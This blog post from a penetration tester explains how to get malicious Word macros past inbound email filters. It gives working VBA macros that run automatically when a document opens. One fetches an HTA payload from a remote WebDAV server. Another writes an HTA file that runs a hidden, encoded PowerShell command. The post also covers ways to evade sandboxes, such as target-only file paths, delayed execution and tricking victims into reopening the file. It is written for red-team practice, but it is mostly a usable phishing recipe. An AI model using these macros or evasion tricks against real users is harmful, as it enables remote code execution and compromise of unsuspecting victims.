, , , , , ,

How to Get Malicious Macros Past Email Filters

Carrie Roberts //      

ADVISORY: The techniques and tools referenced within this blog post may be outdated and do not apply to current situations. However, there is still potential for this blog entry to be used as an opportunity to learn and to possibly update or integrate into modern tools and techniques.

A malicious macro in a Microsoft Word or Excel document is an effective hacking technique. These documents could be delivered in a variety of ways including through an email or uploaded as a “resume” to a job site. For this reason, anti-malware solutions such as inbound email filters attempt to block delivery of malicious macros. In my experience, the following techniques prove useful in bypassing these protections.

First, a standard little trick taught to me by Ethan Robish (@ethanrobish) is to save the macro-enabled document in the older “Word 97-2003 Document” format. More recent versions of MS Office require the “docm” extension for macro-enabled documents but the older format allows for a less obvious “doc” extension.

Save Macro-Enabled Document as Word 97 “.doc” File

While this won’t be enough to get you by many of the filters, it is a good first step.

Brian Fehrman (@fullmetalcache) has posted some tricks in the past on the same subject of bypassing mail filters, but this hasn’t been working for me as of late. It appears that the inbound filters are disliking the methods used by PowerShell Empire, Metasploit, and even TrustedSec’s Unicorn payload generator to invoke the command shell from a macro.

As an alternative, I found the following macro to successfully bypass inbound email filters. This macro reads a HTA file from a remote webDav server.

Sub AutoOpen()

        Debugging

End Sub

Sub Document_Open()

        Debugging

End Sub

Public Function Debugging() As Variant

    Set shellApp = CreateObject("Shell.Application")

    shellApp.Open ("\\your.webdavserver.net\webdav\updater.hta")

End Function

This code uses the “Shell.Application Open” method which is less scrutinized by inbound email filters than a direct attempt to invoke a command on the command line. To use the macro, replace the “your.webdavserver.net” text with the domain or IP address of your webDav server where you are hosting the HTA file. Depending on the target environment, using a domain name may be effective while using an IP address is not, or vice-versa. Try both. For information on setting up a webDav server, see this blog post.

The HTA file itself can be generated with a number of tools. An example using PowerShell Empire is given below. Save the output to a file with an “hta” extension.

Generating HTA Payload with PowerShell

In the event that the target has little to no internet connectivity with which to download the HTA file, you may have to write the HTA file to the disk on the target. However, some email filters run the macro payload in a sandbox environment and do not like it when a macro both writes a file to disk and subsequently reads it. You can usually get away with one or the other in the macro but not both. If you have direct access to the target, test this out by manually creating your payload on the target system and then emailing a macro to simply execute the existing payload. Your macro will likely make it through the inbound email filters. This brings up some interesting ideas about having a macro which executes a file if it already exists on disk, otherwise, it creates it and exits. This would require the macro to be run twice by the victim. This is not completely infeasible. If you have the macro show an error and close the document, the victim is likely to try to open it again.

This leads us to more creative ideas, what if the macro checked the time of day and would only execute the malicious payload after a certain day and time. The time could be set for ten minutes after the email is sent. The macro, in this case, would not exhibit malicious behavior when executed in the sandbox but would behave differently later. For the record, I tried this and failed recently but it is good food for thought and may be effective against other anti-malware solutions.

My final working solution, in this case where internet connectivity was restricted, was to write the file to a specific location that existed on my target but not in the sandbox environment. For example “c:\Users\croberts\”. Since this location does not exist in the sandbox environment, it does not get written to disk nor subsequently executed. However, on the target system, it works like a charm. The final macro is shown below.

Sub AutoOpen()

        Bhistest

End Sub

Sub Document_Open()

        Bhistest

End Sub

Public Function Bhistest() As Variant

Dim Str As String

Dim Str2 As String

Str = "<html><head><script>var c= 'powershell.exe -NoP -sta -NonI -W Hidden -Enc "

Str = Str + "put the rest of your big long encoded command here . . ."

Str = Str + "… and continue it here, and so on, in order to not exceed the macro string line length limit"

Str2 = "new ActiveXObject('WScript.Shell').Run(c,0);</script></head><body><script>self.close();</script></body></html>"

    Set objFSO = CreateObject("Scripting.FileSystemObject")

    Set objFile = objFSO.CreateTextFile("c:\users\croberts\final.hta", True)

    objFile.Write Str & vbCrLf

    objFile.Write Str2

    objFile.Close

    Set shellApp = CreateObject("Shell.Application")

    shellApp.Open ("c:\users\croberts\final.hta")

End Function

Remote code execution through an email phish has been demonstrated, even under some of the most restrictive environments.

Defenders, do you REALLY need to allow macro enabled document delivery from external sources? It’s risky business.

You can learn more from Carrie in her classes!

Check them out here:

Attack Emulation Tools: Atomic Red Team, CALDERA and More 

PowerShell for InfoSec

Available live/virtual and on-demand!